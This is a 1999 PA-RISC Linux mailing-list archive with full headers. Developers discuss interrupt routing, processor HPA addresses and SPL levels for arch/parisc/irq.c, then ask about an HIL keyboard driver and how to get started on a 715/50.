	id 0F62232CEA; Thu, 26 Aug 1999 17:26:19 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 41F5767A9; Thu, 26 Aug 1999 17:26:18 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id E4EF17F8B; Thu, 26 Aug 1999 17:26:26 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199908260213.TAA11687@milano.cup.hp.com>; from Grant Grundler on Wed, Aug 25, 1999 at 07:13:04PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9837

> > Hardware interrupt. These live in a unified space described by a cookie.
> > We map the cookie to the irq number on a PC but that is optional. Drivers
> > only know about irqs as a cookie.

> I think there is going to a problem with "cookies" on PA.
> The problem is GSC devices need to program an "EIM" register.
> (For Dino, this is IAR0). The contents of the EIM register
> are a processor HPA (bits 11-31) and EIRR bit number (bits 0-4;

the Dino documentations says bits 5-31 are HPA but as long as 5-10 are 0 we
don't have to care.

> ie a value 0-31). The location of this register is NOT
> defined by PA I/O architecture - or at least not well defined.
> Is this a real problem or not?

No.  You just do
gsc_writel(0xfffe0000 + dev->irq, dev->hpa + DEVICE_SPECIFIC_OFFSET);
right after request_irq(dev->irq, ...);

> Another tidbit: I know of only one device which can use "6-bit"
> (0-63) EIRR vectors. GSC and PCI devices which are capable of mastering
> their own interrupt transactions can also use 6-bits. 6-bits is
> obviously only supportable running a 64-bit kernel binary.

Is it ok with you if we worry about SMP and PA2.0 boxes later ?

	Philipp Rumpf


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 17:38:39 +0100 (BST)
Lines: 59
Approved: news@gmane.org
Message-ID: <E11K2Xy-0005wR-00@the-village.bc.nu>
References: <199908261629.JAA12121@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619735 13366 80.91.229.3 (22 Nov 2014 01:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:55 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Aug 26 10:41:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA19351
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 10:41:12 -0600
Original-Received: (qmail 13995 invoked by uid 15267); 26 Aug 1999 16:42:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13971 invoked from network); 26 Aug 1999 16:42:51 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 16:42:51 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11K2Xy-0005wR-00; Thu, 26 Aug 1999 17:38:42 +0100
In-Reply-To: <199908261629.JAA12121@milano.cup.hp.com> from "Grant Grundler" at Aug 26, 99 09:29:39 am
Xref: news.gmane.org gmane.linux.ports.parisc:9838

> I'm still convinced PA Processor HPAs should be passed to GSC drivers
> seperately (eg dino.c).  On IA64 platforms, I/O SAPIC and Local Sapic
> also seperate the target address and "vector".  I left David Mossberger
> voice mail about this - I suspect/hope the problem has already
> been solved.

Passing that kind of info out to arch specific drivers is ok. The rest of
the system wants a single opaque long cookie (with or without milk) . You
can even make that cookie a cast on a struct addr.

> Not HP's style. Too hostile. The process is to file "Change Requests"
> - a kind of black hole where managers pull statistics.  :^)

I've dealt with HP in another project. Im glad TPG are doing the HP interfacing
not me 8)

> I see three levels: block all IRQs, enable IRQs, and bh.
> It sounds like those correspond to SPLHI/SPL7, SPL5, and SPL2.
> Am I still on the right track?

Yes I think so. Im not that hot on the old BSD terminology

> implement more than one level of SPL. But I now agree not much is lost
> since two important levels are supported.  As long as the clock gets
> serviced, the timeouts it generates would run at about the same time.
> More on this below.

We never do timeouts in loops in an IRQ handler by checking versus the
clock. We also tend to use RDTSC or similar features if available - apic
clock, etc so we recover lost ticks too

> in this context. Knowing that Intel is eager to support UDI on linux,
> I would be worried about how UDI is made to work. (Hint: I worked on

I don't know any major Linux hacker who views UDI with anything but 
mild amusement. Linux people tend to be latency freaks.

> After doing this exercise, I agree with Alan - not much is lost.
> The ATT flavor Unixes need SPL6 because streams processing (another
> message passing subsystem) can take a really long time in the IRQ
> context and thus block the clock.

The crazies at gcom who did some streams based stuff for Linux (not in the
standard kernel) do their streams processing in the bh context for some
reason. 

Where we get drivers for hardware that is really horrible we sometimes do

	my_irq
		mark_bh
		mask irq
		return from irq

as the entire IRQ handler - the aha152x scsi controller is an example of
that. Thankfully for the devices people buy when they want speed you don't
have that problem.

Alan


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 10:43:29 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <19990826164329.DEB9418708@security.hp.com>
References: <19990826172626.K19314@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619735 13373 80.91.229.3 (22 Nov 2014 01:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:55 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, Alan Cox <alan@lxorguk.ukuu.org.uk>,
        parisc-linux@thepuffingroup.com, lamont@security.hp.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: lamont@security.hp.com  Thu Aug 26 10:41:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA19471
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 10:41:55 -0600
Original-Received: (qmail 14288 invoked by uid 15267); 26 Aug 1999 16:43:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14274 invoked from network); 26 Aug 1999 16:43:35 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 16:43:35 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA25830
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Aug 1999 12:42:57 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id DEB9418708; Thu, 26 Aug 1999 10:43:29 -0600 (MDT)
In-reply-to: Your message of "Thu, 26 Aug 1999 17:26:26 +0200."
             <19990826172626.K19314@suse.de> 
Content-ID: <20178.935685809.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9839

> No.  You just do
> gsc_writel(0xfffe0000 + dev->irq, dev->hpa + DEVICE_SPECIFIC_OFFSET);
> right after request_irq(dev->irq, ...);
> Is it ok with you if we worry about SMP and PA2.0 boxes later ?

Writing to the specific HPA is most likely a SMP issue as well, but if we
go the route of using global broadcast interrupts, we should leave some
__really__ large handwriting on the wall for when SMP gets dealt with.
The mad dash to handle an interrupt is a great way to thrash the machine.

Likewise, if there's a clean way to get the processor HPA in the IRQ value,
there is no reason not to do it now, and avoid tracking down the problems
later.

lamont


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 10:13:14 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <199908261713.KAA12239@milano.cup.hp.com>
References: <19990826172626.K19314@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619736 13381 80.91.229.3 (22 Nov 2014 01:28:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Thu Aug 26 11:11:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA19812
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 11:11:10 -0600
Original-Received: (qmail 22987 invoked by uid 15267); 26 Aug 1999 17:12:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22980 invoked from network); 26 Aug 1999 17:12:51 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 17:12:51 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA27297
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Aug 1999 13:12:18 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA12239; Thu, 26 Aug 1999 10:13:18 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 26 Aug 1999 17:26:26 PDT."
             <19990826172626.K19314@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9840

Philipp Rumpf:
> the Dino documentations says bits 5-31 are HPA but as long as 5-10 are 0 we
> don't have to care.

FYI - All PA device addresses are 4k page aligned.
I've seen devices alias within a page but the IODC can only
report the number of 4k pages a devices uses - ergo 4K aligned.

> 
> > ie a value 0-31). The location of this register is NOT
> > defined by PA I/O architecture - or at least not well defined.
> > Is this a real problem or not?
> 
> No.  You just do
> gsc_writel(0xfffe0000 + dev->irq, dev->hpa + DEVICE_SPECIFIC_OFFSET);
> right after request_irq(dev->irq, ...);

Ok - this is another SMP issue...I'll hardcode 0xfffe0000 for now. 

Platform	Processor HPA
--------	-------------
712/80		0xfffbe000
715/100		0xfffbe000
B132L		0xfffbe000
B180L		0xfffbe000
C200+		0xfffa0000

> > Another tidbit: I know of only one device which can use "6-bit"
> > (0-63) EIRR vectors. GSC and PCI devices which are capable of mastering
> > their own interrupt transactions can also use 6-bits. 6-bits is
> > obviously only supportable running a 64-bit kernel binary.
> 
> Is it ok with you if we worry about SMP and PA2.0 boxes later ?

Absolutely. I brought this up so it doesn't have to get redesigned
by whoever feels like tackling those issues.  Note the subject line.
I'm just not into doing thing two or three times in a row.

grant

> 
> 	Philipp Rumpf

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 13:48:06 -0400
Organization: The Puffin Group
Lines: 48
Approved: news@gmane.org
Message-ID: <37C57DD6.5E4BF8DA@thepuffingroup.com>
References: <199908261713.KAA12239@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619736 13387 80.91.229.3 (22 Nov 2014 01:28:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:56 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@suse.de>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Thu Aug 26 11:34:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA20054
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 11:34:12 -0600
Original-Received: (qmail 29978 invoked by uid 15267); 26 Aug 1999 17:35:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29967 invoked from network); 26 Aug 1999 17:35:52 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 17:35:52 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id NAA13320;
	Thu, 26 Aug 1999 13:48:07 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9841

Grant Grundler wrote:
> 
> Ok - this is another SMP issue...I'll hardcode 0xfffe0000 for now.
> 
> Platform        Processor HPA
> --------        -------------
> 712/80          0xfffbe000
> 715/100         0xfffbe000
> B132L           0xfffbe000
> B180L           0xfffbe000
> C200+           0xfffa0000

For what it's worth, I have code in my soon-to-be-committed inventory
code that detects this.  The A180C is at 0xfffbe000 also.

I'm just going through the difficulty of merging my code into the
tree...

Here's the output of my code:

Doing the inventory of the machine
     HPA of the processor: fffbe000
Checking CPU's bus: 
Located Staccato L2 180 (A Class 180) (0) on bus 0x0 at 0xfffbe000,
versions 0x0
Located Staccato L2 180 Memory (1) on bus 0x1 at 0xfffbf000, versions
0x8b, 0x00
Bus does not implement On Line Replacement.
Checking for peripherals...
Located Dino PCI Bridge (13) on bus 0x0 at 0xfff80000, versions 0x680,
0x3, 0xa0
Located Dino PS2 Keyboard (10) on bus 0x1 at 0xfff81000, versions 0x7,
0x0, 0x90
Located unknown device (11) on bus 0x0 at 0xffd00000, versions 0x5f,
0x0, 0x81,0
Located Phantom PseudoBC GSC+ Port (7) on bus 0x0 at 0xffc00000,
versions 0x5040
Located Phantom PseudoBC GSC+ Port (7) on bus 0x1 at 0xffc01000,
versions 0x5050


- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thoughts on arch/parisc/irq.c
Date: Thu, 26 Aug 1999 20:12:01 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <19990826201201.N19314@suse.de>
References: <19990826172626.K19314@suse.de> <199908261713.KAA12239@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619736 13390 80.91.229.3 (22 Nov 2014 01:28:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Thu Aug 26 12:10:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA20344
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Aug 1999 12:10:22 -0600
Original-Received: (qmail 8080 invoked by uid 15267); 26 Aug 1999 18:12:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8073 invoked from network); 26 Aug 1999 18:12:03 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 26 Aug 1999 18:12:03 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id B488632CFD; Thu, 26 Aug 1999 20:11:54 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 91E8A67B5; Thu, 26 Aug 1999 20:11:54 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 3EE767F8D; Thu, 26 Aug 1999 20:12:02 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199908261713.KAA12239@milano.cup.hp.com>; from Grant Grundler on Thu, Aug 26, 1999 at 10:13:14AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9842

> > the Dino documentations says bits 5-31 are HPA but as long as 5-10 are 0 we
> > don't have to care.
> FYI - All PA device addresses are 4k page aligned.

Thanks.  This does not conflict with dino decoding the not defined bits too,
though.
> > No.  You just do
> > gsc_writel(0xfffe0000 + dev->irq, dev->hpa + DEVICE_SPECIFIC_OFFSET);
> > right after request_irq(dev->irq, ...);
> 
> Ok - this is another SMP issue...I'll hardcode 0xfffe0000 for now. 
> 
> Platform	Processor HPA
> --------	-------------
> 712/80	0xfffbe000
> 715/100	0xfffbe000
> B132L		0xfffbe000
> B180L		0xfffbe000

If this is a 7300LC, the processor EIR depends on the bus id.

	Philipp Rumpf


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] keyboard driver
Date: Sun, 29 Aug 1999 03:18:12 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <19990829031812.J493@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619737 13392 80.91.229.3 (22 Nov 2014 01:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sat Aug 28 19:16:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA22781
	for <parisc-linux@puffin.external.hp.com>; Sat, 28 Aug 1999 19:16:45 -0600
Original-Received: (qmail 4451 invoked by uid 15267); 29 Aug 1999 01:18:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4432 invoked from network); 29 Aug 1999 01:18:22 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 29 Aug 1999 01:18:22 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id DAA04316
	for <parisc-linux@thepuffingroup.com>; Sun, 29 Aug 1999 03:18:14 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id DAA932730
	for <parisc-linux@thepuffingroup.com>; Sun, 29 Aug 1999 03:18:13 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11Ktbo-00029uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 29 Aug 1999 03:18:12 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9843


Is anyone working on the keyboard driver for the 715/33 (and presumably
some other models)?  It appears to be an HIL keyboard, and there's
already an HIL driver in arch/m68k/hp300/hil.c.  Is this likely to work?
Is there any documentation available for this?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: emolitor@molitor.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] keyboard driver
Date: Sat, 28 Aug 1999 22:30:32 -0500 (CDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9908282220000.2123-100000@linux.molitor.org>
References: <19990829031812.J493@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619737 13393 80.91.229.3 (22 Nov 2014 01:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: emolitor@molitor.org  Sat Aug 28 21:30:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA23046
	for <parisc-linux@puffin.external.hp.com>; Sat, 28 Aug 1999 21:30:31 -0600
Original-Received: (qmail 23020 invoked by uid 15267); 29 Aug 1999 03:32:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23013 invoked from network); 29 Aug 1999 03:32:15 -0000
Original-Received: from cpu209-41-104-129.unicomp.net (HELO linux.molitor.org) (root@209.41.104.129)
  by mailserv2.iuinc.com with SMTP; 29 Aug 1999 03:32:15 -0000
Original-Received: from localhost (emolitor@localhost)
	by linux.molitor.org (8.9.3/8.9.3) with ESMTP id WAA02135
	for <parisc-linux@thepuffingroup.com>; Sat, 28 Aug 1999 22:30:32 -0500
X-Authentication-Warning: linux.molitor.org: emolitor owned process doing -bs
In-Reply-To: <19990829031812.J493@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9844


Hello all, I recently was given a 715/50 to play around with. Its
got an old version of HP/UX running on it and I am getting ready to dump
that and look into programming a bit on parisc-linux. Any direction on
what can be persued?

Of course my current goal is to get the kernel to cross-compile and then
boot from a zip drive... (Looking for that It works message...)


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] keyboard driver
Date: Sun, 29 Aug 1999 20:15:50 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <19990829201550.K493@mencheca.ch.genedata.com>
References: <19990829031812.J493@mencheca.ch.genedata.com> <Pine.LNX.4.10.9908282220000.2123-100000@linux.molitor.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619737 13395 80.91.229.3 (22 Nov 2014 01:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: emolitor@molitor.org
Original-X-From: Matthew.Wilcox@genedata.com  Sun Aug 29 12:14:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA24668
	for <parisc-linux@puffin.external.hp.com>; Sun, 29 Aug 1999 12:14:12 -0600
Original-Received: (qmail 2554 invoked by uid 15267); 29 Aug 1999 18:15:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2547 invoked from network); 29 Aug 1999 18:15:54 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 29 Aug 1999 18:15:54 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id UAA06392;
	Sun, 29 Aug 1999 20:15:52 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id UAA07117;
	Sun, 29 Aug 1999 20:15:50 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11L9Uc-00025hC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for emolitor@molitor.org; Sun, 29 Aug 1999 20:15:50 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9908282220000.2123-100000@linux.molitor.org>; from emolitor@molitor.org on Sat, Aug 28, 1999 at 10:30:32PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9845

On Sat, Aug 28, 1999 at 10:30:32PM -0500, emolitor@molitor.org wrote:
> 
> Hello all, I recently was given a 715/50 to play around with. Its
> got an old version of HP/UX running on it and I am getting ready to dump
> that and look into programming a bit on parisc-linux. Any direction on
> what can be persued?
> 
> Of course my current goal is to get the kernel to cross-compile and then
> boot from a zip drive... (Looking for that It works message...)

For a start, don't ditch the HP/UX it has running on it unless you have
another HP/UX box around to compile kernels with.  Right now, we need to
use the HP linker.

The kernel as it stands right now probably won't boot on your 715/50.
I'm waiting for Philipp to sort out a couple of problems and then I'm
going to try to track down why it doesn't boot on my 715/33; the kernel
I checked out a week ago wouldn't boot until I put in debugging printks.
grr.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: emolitor@molitor.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] keyboard driver
Date: Sun, 29 Aug 1999 15:00:38 -0500 (CDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9908291456360.1379-100000@linux.molitor.org>
References: <19990829201550.K493@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619737 13399 80.91.229.3 (22 Nov 2014 01:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: emolitor@molitor.org  Sun Aug 29 14:00:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA24926
	for <parisc-linux@puffin.external.hp.com>; Sun, 29 Aug 1999 14:00:42 -0600
Original-Received: (qmail 19878 invoked by uid 15267); 29 Aug 1999 20:02:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19871 invoked from network); 29 Aug 1999 20:02:27 -0000
Original-Received: from cpu209-41-104-129.unicomp.net (HELO linux.molitor.org) (root@209.41.104.129)
  by mailserv2.iuinc.com with SMTP; 29 Aug 1999 20:02:27 -0000
Original-Received: from localhost (emolitor@localhost)
	by linux.molitor.org (8.9.3/8.9.3) with ESMTP id PAA01389;
	Sun, 29 Aug 1999 15:00:38 -0500
X-Authentication-Warning: linux.molitor.org: emolitor owned process doing -bs
In-Reply-To: <19990829201550.K493@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9846

On Sun, 29 Aug 1999, Matthew Wilcox wrote:

> On Sat, Aug 28, 1999 at 10:30:32PM -0500, emolitor@molitor.org wrote:
> > 
> > Hello all, I recently was given a 715/50 to play around with. Its
> > got an old version of HP/UX running on it and I am getting ready to dump
> > that and look into programming a bit on parisc-linux. Any direction on
> > what can be persued?
> > 
> > Of course my current goal is to get the kernel to cross-compile and then
> > boot from a zip drive... (Looking for that It works message...)
> 
> For a start, don't ditch the HP/UX it has running on it unless you have
> another HP/UX box around to compile kernels with.  Right now, we need to
> use the HP linker.
> 

